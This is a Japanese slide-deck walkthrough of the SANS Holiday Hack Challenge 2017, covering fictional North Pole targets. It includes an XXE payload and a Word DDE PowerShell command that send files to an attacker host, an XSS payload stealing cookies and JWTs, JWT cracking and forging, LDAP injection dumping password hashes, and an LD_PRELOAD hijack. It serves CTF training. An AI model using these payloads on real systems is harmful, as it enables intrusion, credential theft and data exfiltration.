「status:*」を検索してから、下の「Download」リンクからDL

https://nppd.northpolechristmastown.com/infractions?
query=status:*&json=1
•チャレンジ3からDLしたNaughty and nice list.csvと比較する
•例:https://gist.github.com/jordan-wright/421a16e1ce1309296df81bf9bd8d353a#file-infraction_threshold-py
チャレンジ5(答え)
•0 infractions - Nice: 14 Naughty: 0

1 infractions - Nice: 318 Naughty: 0

2 infractions - Nice: 95 Naughty: 0

3 infractions - Nice: 33 Naughty: 0

4 infractions - Nice: 0 Naughty: 26

5 infractions - Nice: 0 Naughty: 47

6 infractions - Nice: 0 Naughty: 6

7 infractions - Nice: 0 Naughty: 1

10 infractions - Nice: 0 Naughty: 1
•4回違反したらNaughtyリストに乗せられるようだ。
チャレンジ5(答え)
•内部犯⾏のmoleを見つけるにはチャレンジ3からDLした

Munchkin Mole Advisoryをチェック
•昔から噂になっていたmunchkin moleは実は存在している
ようだ。警察がサンタさんの⼯場でエルフに成り済まして
いるmunchkinの⼆⼈を特定したが、逃げられた
•⼆⼈のmole「Boq Questrian」と「Bini Aru」は

⾏⽅不明だけど、「throwing rocks」と「hair pulling」をす
るそうだ。NPPDのサイトで調べたら⼆⼈とも

3回違反している。Biniはatomic wedgieもしている

ようだ。⽯を投げたり、髪の⽑を引っ張ったり、wedgieを
したりする⼈はmunchkin moleだと判断し、

他にこれらの⾏動をしている⼈を探す
チャレンジ5(答え)
•https://gist.github.com/jordan-wright/
421a16e1ce1309296df81bf9bd8d353a#file-moles-txt
•Sheri Lewis | Munchkin Chance: 60.0% | Total Crimes: 5
•Nina Fitzgerald | Munchkin Chance: 66.7% | Total Crimes: 6
•Bini Aru | Munchkin Chance: 75.0% | Total Crimes: 4
•Wesley Morton | Munchkin Chance: 100.0% | Total Crimes: 4
•Boq Questrian | Munchkin Chance: 75.0% | Total Crimes: 4
•Kirsty Evans | Munchkin Chance: 75.0% | Total Crimes: 4
チャレンジ6
•North Poleのエンジニアリングチームは必要不可⽋のクリスマス

エンジニアリングプロジェクトのリソース配当を効率化するのに

http://eaas.northpolechristmastown.comで「Elf as a Service」(EaaS)
を導⼊しました。

このシステムを閲覧してC:¥greatbook.txtにあるThe Great Book

ページへアクセスする⼿順を取得して下さい。

そのページのタイトルは?

(ヒントが欲しい⽅はI Don't Think We're In Kansas Anymoreの
Sugarplum Maryがヒントを教えてくれます)
I Don't Think We're In Kansas Anymore

ターミナルチャレンジ
Identify the song whose popularity is the best.
total 20684
-rw-r--r-- 1 root root 15982592 Nov 29 19:28 christmassongs.db
-rwxr-xr-x 1 root root 5197352 Dec 7 15:10 runtoanswer
•最も⼈気の曲を見つけて下さい
I Don't Think We're In Kansas Anymore

ターミナルチャレンジ
$ sqlite3 ./christmassongs.db
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .tables
likes songs
sqlite> .schema likes
CREATE TABLE likes(
id INTEGER PRIMARY KEY AUTOINCREMENT,
like INTEGER,
datetime INTEGER,
songid INTEGER,
FOREIGN KEY(songid) REFERENCES songs(id)
);
sqlite> SELECT songs.title, count(likes.songid) as number_of_likes
...> from songs
...> left join likes
...> on (songs.id = likes.songid)
...> group by
...> songs.id
...> order by number_of_likes;
•「Stairway to Heaven」が最も⼈気
PORTALをゲット!
雪⽟を違う所に
⾶ばす
I Don't Think We're In Kansas Anymore

ゲーム
Conveyorでリダイレクト
見えにくくてつらい!
チャレンジ6(ヒント)
•ヒント1:今まで⼿動で作業していたが、

今はElf As A Service (EAAS)があって自動化された
•ヒント2:EAASサイトはXMLデータを使って別の
チームへのリクエストを管理している。

ダウンロードできるサンプルリクエストがあるので、
そのXMLをカスタマイズしてサブミットするだけ!
チャレンジ6(ヒント)
•ヒント3:EAASを開発したエルフ達はちゃんと

作っているのかな? DTDのReferenceすらない。。
•ヒント4:XMLの処理は危険かも

 悪用できるみたい

リンク:https://pen-testing.sans.org/blog/2017/12/08/
entity-inception-exploiting-iis-net-with-xxe-vulnerabilities
チャレンジ6(ヒント)
•新しいOWASP Top 10になったXXE攻撃のよう
•まずXXE攻撃を勉強
•XXE攻撃 基本編 (MBSDブログ)

https://www.mbsd.jp/blog/20171130.html
•XXE 応用編 (MBSDブログ)

https://www.mbsd.jp/blog/20171213.html
チャレンジ6(答え)
•NCシェル、SSH等からnmap スキャン

nmap -A -v eaas.northpolechristmastown.com

10.142.0.13

PORT STATE SERVICE VERSION

80/tcp open http Microsoft IIS httpd 10.0

|_http-server-header: Microsoft-IIS/10.0

|_http-title: Index - North Pole Engineering Presents: EaaS!

3389/tcp open ssl/ms-wbt-server?
チャレンジ6(答え)
•SSHポート転送でウェブブラウズ
•ssh -L 888:10.142.0.13:80 -N alabaster_snowball@dev.northpolechristmastown.com
•/etc/hostsに「127.0.0.1 eaas.northpolechristmastown.com」を追加
•http://eaas.northpolechristmastown.com:888/XMLFile/Elfdata.xml
•http://eaas.northpolechristmastown.com:888/Home/DisplayXML
•http://eaas.northpolechristmastown.com:888/Home/DisplayXML
XMLをアップロードして

XXE攻撃できるっぽい
•AWS KaliでXXE攻撃のペイロードを準備
•/etc/init.d/apache2 start
•nano payload.dtd

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % nusumitaidata SYSTEM "file:///c:/greatbook.txt">

<!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://
x.x.x.x/?%nusumitaidata;'>">
•x.x.x.xにKALIのグローバルIPを⼊れる
•mv payload.dtd /var/www/html/
•アップロードするXMLファイルを準備
•nano attack.xml

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE Elf [

<!ELEMENT Elf ANY >

<!ENTITY % extentity SYSTEM "http://x.x.x.x/payload.dtd">

%extentity;

%inception;

%sendit;

]

>
•eaas.northpolechristmastown.com:888/Home/DisplayXmlにアップロード
•Apacheのサーバログをチェック
•cat /var/log/apache2/access.log
•35.185.118.225 - - [13/Jan/2018:23:28:08 +0000] "GET /payload.dtd HTTP/1.1" 200 391 "-" "-"
•35.185.118.225 - - [13/Jan/2018:23:28:08 +0000] "GET /?http://eaas.northpolechristmastown.com/
xMk7H1NypzAqYoKw/greatbook6.pdf HTTP/1.1" 200 10956 "-" “-"
Great Book Page 6
•Title: The Dreaded Inter-Dimensional Tornadoes
•Hash: 8943e0524e1bf0ea8c7968e85b2444323cb237af
チャレンジ7
世の中にある複雑なSCADAシステムと同じようにNorth PoleもEMI
(Elf Machine Interfaces)を利用して重要インフラのアセットを監視・
操作しています。このシステムは

Eメールアクセスやブラウジング等様々な用途に使われています。
EWAサーバにアクセスしてから標的型メール(phishing攻撃)で
EMIサーバにもアクセスして、C:¥GreatBookPage7.pdfを取得して

下さい。このページは何について書いてありますか?

(ヒントがほしい⽅はOh Wait! Maybe We Are…のShinny Upatreeが
ヒントを教えてくれます)
Oh Wait! Maybe We Are…

ターミナルチャレンジ
Restore /etc/shadow with the contents of /etc/shadow.bak,
then run "inspect_da_box" to complete this challenge.
Hint: What commands can you run with sudo?
/etc/shadowを/etc/shadow.bakから復旧してから

inspect_da_boxを実⾏して下さい
ヒント:sudoでどのコマンドを実⾏できる?
elf@849bd9020731:~$ sudo -l
Matching Defaults entries for elf on 849bd9020731:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/
bin:/sbin:/bin:/snap/bin
User elf may run the following commands on 849bd9020731:
(elf : shadow) NOPASSWD: /usr/bin/find
elf@849bd9020731:~$ sudo -g shadow find /etc/ -name shadow.bak -exec cp {} /etc/shadow ;
find: '/etc/ssl/private': Permission denied
elf@849bd9020731:~$ inspect_da_box
___
/ __'. .-"""-.
.-""-| | '.'. / .---. 
/ .--.  ___ / /____| |
/ /  `-.-;-(`_)_____.-'._
; ; `.-" "-:_,(o:==..`-. '. .-"-,
| | /  / ` `.  / .-. 
  | Y __...   / / /
/ | | | .--""--.| .-'  '.`---' /
  / / |` ' _...--.; '---'`
 '-' / jgs /_..---.._  .'_ `.
`--'` .' (_) `'/ (_) /
`._ _.'| .'
``````` '-...--'`
/etc/shadow has been successfully restored!
Oh Wait! Maybe We Are…(ゲーム)
Conveyor
⼀個
チャレンジ7(ヒント)
•ヒント1:AlabasterはよくEMIシステムで

      メールをチェックする
•ヒント2:「不要なソフトをインストール

するな!」って⾔うけど、彼はIIS上でASPX

サービスを動かして、MS Officeを使っている
•ヒント3:OfficeはDynamic Data Exchangeと

いう便利な機能がある
チャレンジ7(ヒント)
•去年流⾏っていたWord DDE攻撃?
•説明:

https://www.slideshare.net/ssuserbcacc5/dde-macroless-office-document-exploits
チャレンジ7(答え)
•alabaster.snowball@northpolechristmastown.comの
inboxで以下のメールを発見
チャレンジ7(答え)
•alabaster.snowball@northpolechristmastown.comに

対して「gingerbread cookie recipe」のメッセージと
DDEを悪用している.docxを送ったら良い
チャレンジ7(答え)
チャレンジ7(答え)
チャレンジ7(答え)
•AWS Kaliでnc -l -p 8888
•{DDEAUTO C:WindowsSystem32cmd.exe 

“/k powershell.exe -W hidden $e=(New-Object
System.Net.WebClient).UploadFile(‘http://x.x.x.x:8888’, 

‘C:GreatBookPage7.pdf’;”}
•/var/log/apache2/log/のaccess.logを確認
•※JP Wordで作成した.docxはなぜか使えない・・
チャレンジ8
Santaへの⼿紙をNorth Pole Elf Database 

(http://edb.northpolechristmastown.com)から
取得して下さい。

誰が⼿紙を書きましたか?

(ヒントが欲しい⽅はWe're Off to See the...の
Wunorse Openslaeがヒントを教えてくれます)
Wunorse Openslae
ターミナルチャレンジ
Run the given binary, make it return 42.
Use the partial source for hints, it is just a clue.
You will need to write your own code, but only a line or two.
total 88
-rwxr-xr-x 1 root root 84824 Dec 16 16:47 isit42
-rw-r--r-- 1 root root 654 Dec 15 19:59 isit42.c.un
バイナリが42を出⼒するように実⾏して下さい

⼀部のソースコードがあるのでヒントとして見てみて

コードを書く必要があるけど1⾏か2⾏で⼗分
$ cat isit42.c.un
#include <stdio.h>
// DATA CORRUPTION ERROR
// MUCH OF THIS CODE HAS BEEN LOST
// FORTUNATELY, YOU DON'T NEED IT FOR THIS CHALLENGE
// MAKE THE isit42 BINARY RETURN 42
// YOU'LL NEED TO WRITE A SEPERATE C SOURCE TO WIN EVERY TIME (Cプログラムを書く必要がある)
int getrand() {
srand((unsigned int)time(NULL));
printf("Calling rand() to select a random number.n");
// The prototype for rand is: int rand(void);
return rand() % 4096; // returns a pseudo-random integer between 0 and 4096
}
int main() {
sleep(3);
int randnum = getrand();
if (randnum == 42) {
printf("Yay!n");
} else {
printf("Boo!n");
}
return randnum;
}
•総当り攻撃は?
nano brute-force.sh
#!/bin/bash
while true; do
./isit42
done
chmod +x loopme.sh
elf@b8a044f61c06:~$ ./loopme.sh
Starting up ... done.
Calling rand() to select a random number.
1049 is not 42.
Starting up ... done.
Calling rand() to select a random number.
629 is not 42.
Starting up ... done.
Calling rand() to select a random number.
2086 is not 42.
•⼀晩かけたら⾏ける?
•もっと賢い⽅法がありそう(LD_PRELOAD)
•https://pen-testing.sans.org/blog/2017/12/06/go-to-the-head-of-the-class-ld-preload-for-the-win
•nano rand_hijack.c

#include <stdio.h>

int rand(void) {

return 42;

}
•$ gcc rand_hijack.c -o rand_hijack -shared -fPIC
•LD_PRELOAD=“./rand_hijack” ./isit42
•(昔からUsermode Linux Rootkitが使うテクニック:

https://ketansingh.net/overview-on-linux-userland-rootkits/)
Wunorse Openslaeゲーム
Portalを使って雪⽟を

出⼝まで⾶ばす
結局犯⼈が

Good WitchのGlindaだった
ElfとMunchkinの戦争を

起こすため
チャレンジ8(ヒント)
• ヒント1:多くのエルフは⾊んな仕事をやっている。

私はヘルプデスクサポートの仕事もしていて、

パスワードリセットのリクエストを受け取っている
• ヒント2:以前、変なメールを貰った時にJavascriptアラート
が出てアカウントがハックされた。Alabasterがシステムを

修正して対策して良かったけど、

XSSフィルター回避のチートシートで確認したかな?
チャレンジ8(ヒント)
• ヒント3:Cookieを発⾏する時に決して自分の独自暗号を

使わない⽅が良い。AlabasterはJWTトークンを使っているって。

なぜなら、長くて複雑な鍵さえ使えば凄く安全らしい。

そうしないとpyjwt等のフレームワークを使ってクラックして

偽造できる。pyjwt: https://github.com/jpadilla/pyjwt
• ヒント4:使っているインターフェイスでは全ての社員情報に

アクセスできる。サンタさんの命令でAlabasterが検索結果をエルフと

トナカイだけに制限した。それも安全かな?

こんな記事を見つけた:

https://pen-testing.sans.org/blog/2017/11/27/understanding-and-exploiting-web-based-ldap
チャレンジ8(答え)
•ssh -L 888:10.142.0.6:80 -N alabaster_snowball@dev.northpolechristmastown.com 
でポート転送する
•nano /etc/hostsでhostsを編集して

「127.0.0.1 edb.northpolechristmastown.com」を追加
•ブラウザからedb.northpolechristmastown.com:888/index.html
チャレンジ8(答え)
PW
リセット
http://10.142.0.6/js/custom.js
function login() {
var uname = $('#username').val().trim();
var passw = $('#password').val().trim();
if (uname && passw) {
$.post( "/login", { username: uname, password: passw }).done(function( result ) {
if (result.bool) {
Materialize.toast(result.message, 4000);
localStorage.setItem('np-auth',result.token)
setTimeout(function(){
window.location.href = result.link;
}, 1000);
} else {
Materialize.toast(result.message, 4000);
}
}).fail(function(error) {
Materialize.toast('Error: ' + error.status + " " + error.statusText, 4000);
})
} else {
Materialize.toast('You must input a valid username and password!', 4000);
}
}
成功したログイン結果が
localStorageの「np-auth」という
Keyに保存される
PWリセットのXSSでセッション乗っ取り?
“script/SCRIPT”が

フィルタされているよう
XSSフィルタ回避チートシート
•https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
•https://jpcertcc.github.io/OWASPdocuments/CheatSheets/XSSFilterEvasion.html (和訳)
•https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet
•例:<img src="x" onerror=“this.src=‘http://x.x.x.x/cookieget.php?cookie=' + document.cookie">
•/etc/init.d/apache2 start
•tail -f /var/log/apache2/access.log
•<img src="x" onerror="this.src='http://52.87.155.140/xss.php?cookie=' + document.cookie + '&npauth=' +
localStorage.getItem('np-auth')">
•例: 35.196.239.128 - - [09/Feb/2018:02:41:25 +0000] "GET /xss.php?
cookie=SESSION=hxxer50N2e1C2AFt5X06&npauth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5n
aW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMC
IsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I HTTP/1.1" 404
500 "http://127.0.0.1/reset_request?ticket=VP9ZQ-5XROI-FN7N8-ZU717" "Mozilla/5.0 (Unknown; Linux x86_64)
AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1”
のJSON Web Token (JWT)が返ってくるが、クラックする必要がある
XSS攻撃
JSON Web Tokenのデコード
•Kaliから「pip install PyJWT」
•python

>>> import jwt
>>>jwt.decode('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvd
SI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInV
pZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I',
verify=False)
•{u'dept': u'Engineering', u'ou': u'elf', u'expires': u'2017-08-16 12:00:47.248093+00:00', u'uid':
u'alabaster.snowball'}
•トークンの有効期限が切れている
•jwt-crackerでクラック!
JSON Web Tokenのクラッキング
•https://github.com/brendan-rius/c-jwt-cracker
•wget https://github.com/brendan-rius/c-jwt-cracker/archive/master.zip
•unzip master.zip
•cd c-jwt-cracker-master/
•apt-get install libssl-dev
•make
•./jwtcrack
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsI
mV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImF
sYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I

Secret is “3lv3s" (←数分でクラック!)
•John the Ripperでのクラッキングも可能:

https://security.stackexchange.com/questions/134200/cracking-a-jwt-signature
JSON Web Tokenの偽造
•python
•>>> import jwt
•>>> jwt.encode({u'dept': u'Engineering', u'ou': u'elf', u'expires':
u'2018-08-16 12:00:47.248093+00:00', u'uid': u'alabaster.snowball'},
'3lv3s')
•‘eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZ
XJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE4LTA4LTE2IDEy
OjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zb
m93YmFsbCJ9.gr2b8plsmw_JCKbomOUR-E7jLiSMeQ-evyYjcxCPXco'
LocalStorageに追加
LocalStorageに追加
•開発者ツールのコンソールから

> localStorage.setItem('np-auth',
“eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5
lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE4LTA4LTE
2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJh
c3Rlci5zbm93YmFsbCJ9.gr2b8plsmw_JCKbomOUR-E7jLiSMeQ-
evyYjcxCPXco”);
•Storageから「SESSION」クッキーも偽造(スプーフ)
alabaster.snowballのセッション乗っ取り
•確かにelfとreindeerしか検索できない
•Santaさんの管理者権限欲しい
robots.txt
POST /html (html=home)
$('#santa_panel').click(function(e){
e.preventDefault();
if (user_json['dept'] == 'administrators') { (←deptをadministratorsに所属する必要がある)
pass = prompt('Confirm you are a Claus by confirming your password: ').trim()
if (pass) {
poster("/html", { santa_access: pass }, token, function(result){(←santaさんのパスワードが必要)
if (result) {
$('#inneroverlay').html(result);
$('.overlay').css('display','flex');
} else {
Materialize.toast('Incorrect Password...', 4000);
}
});
}
} else {
Materialize.toast('You must be a Claus to access this panel!', 4000);
}
});
POST /html (html=home)(続)
//Note: remember to remove comments about backend query before going into north pole
production network
/*
isElf = 'elf'
if request.form['isElf'] != 'True':
isElf = 'reindeer'
attribute_list = [x.encode('UTF8') for x in request.form['attributes'].split(',')]
result = ldap_query('(|(&(gn=*'+request.form['name']+'*)(ou='+isElf+'))
(&(sn=*'+request.form['name']+'*)(ou='+isElf+')))', attribute_list)
#request.form is the dictionary containing post params sent by client-side
#We only want to allow query elf/reindeer data
*/
(nameフィールドがフィルタされていないので、LDAPインジェクションが可能!)
name変数の改ざん
「santa」を検索したら:

ldap_query('(|(&(gn=*santa*)(ou=elf))(&(sn=*santa*)(ou=elf)))', attribute_list)
のようなクエリが実⾏される。ouがelfに限られる
「))(ou=human)(|(cn=」を検索したら、全ユーザを列挙できる
ldap_query(‘(|(&(gn=*))(ou=human)(|(cn=*)(ou=*))(&(gn=*)(ou=elf))
(&(sn=*))(ou=human)(|(cn=*)(ou=*))(&(gn=*)(ou=elf)))’, attribute_list)
全ユーザの列挙
administratorsを特定できた
attributesも改ざんしてPW情報も取得
•POST /search HTTP/1.1

………………

name=))(ou%3Dhuman)
(%7C(cn%3D&isElf=True&attributes=profilePath%2Cgn%2Csn%2Cmail%2Cuid%2Cdepartment%
2CtelephoneNumber%2Cdescription (←「description」を「userPassword」に改ざん)
画面に表示されないが、

HTTPレスポンスにPW Hashが返ってくる
[["cn=jessica,ou=human,dc=northpolechristmastown,dc=com",{"department":
["administrators"],"gn":["Jessica"],"mail":
["jessica.claus@northpolechristmastown.com"],"profilePath":["/img/elves/mrsclause.png"],"sn":
["Claus"],"telephoneNumber":["123-456-7893"],"uid":["jessica.claus"],"userPassword":
["16268da802de6a2efe9c672ca79a7071"]}]],
[["cn=santa,ou=human,dc=northpolechristmastown,dc=com",{"department":
["administrators"],"gn":["Santa"],"mail":
["santa.claus@northpolechristmastown.com"],"profilePath":["/img/elves/santa.png"],"sn":
["Claus"],"telephoneNumber":["123-456-7893"],"uid":["santa.claus"],"userPassword":
["d8b4c05a35b0513f302a85c409b4aab3"]}]]]
パスワードクラッキング
•John the Ripper?
•まずはグーグル先⽣に!
•d8b4c05a35b0513f302a85c409b4aab3を検索したら
https://isc.sans.edu/tools/reversehash.html

のオンラインレインボーテーブル:
Santaさんの成り済まし
•Kaliからpython

>>> import jwt

>>> jwt.encode({u'dept': u'administrators', u'ou': u'*', u'expires':
u'2018-08-16 12:00:47.248093+00:00', u'uid': u'santa.claus'}, ‘3lv3s')
•‘eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiYWRtaW5
pc3RyYXRvcnMiLCJvdSI6IioiLCJleHBpcmVzIjoiMjAxOC0wOC0x
NiAxMjowMDo0Ny4yNDgwOTMrMDA6MDAiLCJ1aWQiOiJzYW
50YS5jbGF1cyJ9.sctCItbO58uewzfMcodRdwS-
PxGd4avPNnqZMsMvYKU'をlocalStorageのnpauthに保存
Santaさんの成り済まし
チャレンジ9
•最終的にどのキャラクターが雪⽟の問題を起こ
していますか?(Glinda the Good Witch)

動機は?(戦争を起こすため)
•質問に答えるのに少なくとも

The Great Bookの5ページ以上を取得して

North Pole and Beyondの最後のレベルを

クリアして下さい (既にゲット!)
ボーナス:ゲームハッキング
•vendor.jsの11293⾏目にbreakpoint
•コンソールからthis.scene.debugLayer.show()するとオブジェクト移動したりできる
トラブルシューティング
•Kali Rollingでapt-get updateする時に

GPGエラーになる場合は以下を実⾏:
•wget -q -O - archive.kali.org/archive-key.asc | apt-key add
お疲れ様でした!
もっとハッキングの技術を

勉強したい⽅はSANS 504!
https://sans-japan.jp/

Contenu connexe

Tendances

自分でできるWebアプリケーション脆弱性診断 - デブサミ2010
自分でできるWebアプリケーション脆弱性診断 - デブサミ2010自分でできるWebアプリケーション脆弱性診断 - デブサミ2010
自分でできるWebアプリケーション脆弱性診断 - デブサミ2010Sen Ueno
 
最近のやられアプリを試してみた
最近のやられアプリを試してみた最近のやられアプリを試してみた
最近のやられアプリを試してみたzaki4649
 
AI-first Code Editor 「Cursor」の機能紹介
AI-first Code Editor 「Cursor」の機能紹介AI-first Code Editor 「Cursor」の機能紹介
AI-first Code Editor 「Cursor」の機能紹介ssuser39314d
 
OpeLa: セルフホストなOSと言語処理系を作るプロジェクト
OpeLa: セルフホストなOSと言語処理系を作るプロジェクトOpeLa: セルフホストなOSと言語処理系を作るプロジェクト
OpeLa: セルフホストなOSと言語処理系を作るプロジェクトuchan_nos
 
Crypto failures every developer should avoid
Crypto failures every developer should avoidCrypto failures every developer should avoid
Crypto failures every developer should avoidFilip Šebesta
 
Usb接続するアプリを開発した時に試行錯誤した事
Usb接続するアプリを開発した時に試行錯誤した事Usb接続するアプリを開発した時に試行錯誤した事
Usb接続するアプリを開発した時に試行錯誤した事Masataka Kono
 
Elmで始めるFunctional Reactive Programming
Elmで始めるFunctional Reactive Programming Elmで始めるFunctional Reactive Programming
Elmで始めるFunctional Reactive Programming Yasuyuki Maeda
 
CTF超入門 (for 第12回セキュリティさくら)
CTF超入門 (for 第12回セキュリティさくら)CTF超入門 (for 第12回セキュリティさくら)
CTF超入門 (for 第12回セキュリティさくら)kikuchan98
 
Effective Modern C++ 勉強会 Item 22
Effective Modern C++ 勉強会 Item 22Effective Modern C++ 勉強会 Item 22
Effective Modern C++ 勉強会 Item 22Keisuke Fukuda
 
Let's verify the vulnerability-脆弱性を検証してみよう!-
Let's verify the vulnerability-脆弱性を検証してみよう!-Let's verify the vulnerability-脆弱性を検証してみよう!-
Let's verify the vulnerability-脆弱性を検証してみよう!-zaki4649
 
筋肉によるGoコードジェネレーション
筋肉によるGoコードジェネレーション筋肉によるGoコードジェネレーション
筋肉によるGoコードジェネレーションlestrrat
 
モジュールの凝集度・結合度・インタフェース
モジュールの凝集度・結合度・インタフェースモジュールの凝集度・結合度・インタフェース
モジュールの凝集度・結合度・インタフェースHajime Yanagawa
 
DevOps Overview
DevOps OverviewDevOps Overview
DevOps OverviewIIJ
 
そうだったのか! よくわかる process.nextTick() node.jsのイベントループを理解する
そうだったのか! よくわかる process.nextTick() node.jsのイベントループを理解するそうだったのか! よくわかる process.nextTick() node.jsのイベントループを理解する
そうだったのか! よくわかる process.nextTick() node.jsのイベントループを理解するshigeki_ohtsu
 
GTMF 2017:Unityプロファイリングマニアクス ユニティ・テクノロジーズ・ジャパン合同会社
GTMF 2017:Unityプロファイリングマニアクス ユニティ・テクノロジーズ・ジャパン合同会社GTMF 2017:Unityプロファイリングマニアクス ユニティ・テクノロジーズ・ジャパン合同会社
GTMF 2017:Unityプロファイリングマニアクス ユニティ・テクノロジーズ・ジャパン合同会社Game Tools & Middleware Forum
 
とある脆弱性の永い議論
とある脆弱性の永い議論とある脆弱性の永い議論
とある脆弱性の永い議論Mtikutea
 
악성코드 개념 및 대응 기술 (사이버 게놈 기술)
악성코드 개념 및 대응 기술 (사이버 게놈 기술)악성코드 개념 및 대응 기술 (사이버 게놈 기술)
악성코드 개념 및 대응 기술 (사이버 게놈 기술)seungdols
 
Selenium WebDriver + python で E2Eテスト自動化
Selenium WebDriver + python で E2Eテスト自動化Selenium WebDriver + python で E2Eテスト自動化
Selenium WebDriver + python で E2Eテスト自動化JustSystems Corporation
 
さくらのVPSに来る悪い人を観察する その2
さくらのVPSに来る悪い人を観察する その2さくらのVPSに来る悪い人を観察する その2
さくらのVPSに来る悪い人を観察する その2ozuma5119
 

Tendances (20)

自分でできるWebアプリケーション脆弱性診断 - デブサミ2010
自分でできるWebアプリケーション脆弱性診断 - デブサミ2010自分でできるWebアプリケーション脆弱性診断 - デブサミ2010
自分でできるWebアプリケーション脆弱性診断 - デブサミ2010
 
最近のやられアプリを試してみた
最近のやられアプリを試してみた最近のやられアプリを試してみた
最近のやられアプリを試してみた
 
AI-first Code Editor 「Cursor」の機能紹介
AI-first Code Editor 「Cursor」の機能紹介AI-first Code Editor 「Cursor」の機能紹介
AI-first Code Editor 「Cursor」の機能紹介
 
OpeLa: セルフホストなOSと言語処理系を作るプロジェクト
OpeLa: セルフホストなOSと言語処理系を作るプロジェクトOpeLa: セルフホストなOSと言語処理系を作るプロジェクト
OpeLa: セルフホストなOSと言語処理系を作るプロジェクト
 
Crypto failures every developer should avoid
Crypto failures every developer should avoidCrypto failures every developer should avoid
Crypto failures every developer should avoid
 
Usb接続するアプリを開発した時に試行錯誤した事
Usb接続するアプリを開発した時に試行錯誤した事Usb接続するアプリを開発した時に試行錯誤した事
Usb接続するアプリを開発した時に試行錯誤した事
 
Elmで始めるFunctional Reactive Programming
Elmで始めるFunctional Reactive Programming Elmで始めるFunctional Reactive Programming
Elmで始めるFunctional Reactive Programming
 
CTF超入門 (for 第12回セキュリティさくら)
CTF超入門 (for 第12回セキュリティさくら)CTF超入門 (for 第12回セキュリティさくら)
CTF超入門 (for 第12回セキュリティさくら)
 
Effective Modern C++ 勉強会 Item 22
Effective Modern C++ 勉強会 Item 22Effective Modern C++ 勉強会 Item 22
Effective Modern C++ 勉強会 Item 22
 
Let's verify the vulnerability-脆弱性を検証してみよう!-
Let's verify the vulnerability-脆弱性を検証してみよう!-Let's verify the vulnerability-脆弱性を検証してみよう!-
Let's verify the vulnerability-脆弱性を検証してみよう!-
 
筋肉によるGoコードジェネレーション
筋肉によるGoコードジェネレーション筋肉によるGoコードジェネレーション
筋肉によるGoコードジェネレーション
 
モジュールの凝集度・結合度・インタフェース
モジュールの凝集度・結合度・インタフェースモジュールの凝集度・結合度・インタフェース
モジュールの凝集度・結合度・インタフェース
 
DevOps Overview
DevOps OverviewDevOps Overview
DevOps Overview
 
そうだったのか! よくわかる process.nextTick() node.jsのイベントループを理解する
そうだったのか! よくわかる process.nextTick() node.jsのイベントループを理解するそうだったのか! よくわかる process.nextTick() node.jsのイベントループを理解する
そうだったのか! よくわかる process.nextTick() node.jsのイベントループを理解する
 
GTMF 2017:Unityプロファイリングマニアクス ユニティ・テクノロジーズ・ジャパン合同会社
GTMF 2017:Unityプロファイリングマニアクス ユニティ・テクノロジーズ・ジャパン合同会社GTMF 2017:Unityプロファイリングマニアクス ユニティ・テクノロジーズ・ジャパン合同会社
GTMF 2017:Unityプロファイリングマニアクス ユニティ・テクノロジーズ・ジャパン合同会社
 
とある脆弱性の永い議論
とある脆弱性の永い議論とある脆弱性の永い議論
とある脆弱性の永い議論
 
악성코드 개념 및 대응 기술 (사이버 게놈 기술)
악성코드 개념 및 대응 기술 (사이버 게놈 기술)악성코드 개념 및 대응 기술 (사이버 게놈 기술)
악성코드 개념 및 대응 기술 (사이버 게놈 기술)
 
CDN and WAF
CDN and WAFCDN and WAF
CDN and WAF
 
Selenium WebDriver + python で E2Eテスト自動化
Selenium WebDriver + python で E2Eテスト自動化Selenium WebDriver + python で E2Eテスト自動化
Selenium WebDriver + python で E2Eテスト自動化
 
さくらのVPSに来る悪い人を観察する その2
さくらのVPSに来る悪い人を観察する その2さくらのVPSに来る悪い人を観察する その2
さくらのVPSに来る悪い人を観察する その2
 

Similaire à “Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough

初心者向けAndroidゲーム開発ノウハウ
初心者向けAndroidゲーム開発ノウハウ初心者向けAndroidゲーム開発ノウハウ
初心者向けAndroidゲーム開発ノウハウKentarou Mukunasi
 
SmartNews TechNight Vol5 : SmartNews AdServer 解体新書 / ポストモーテム
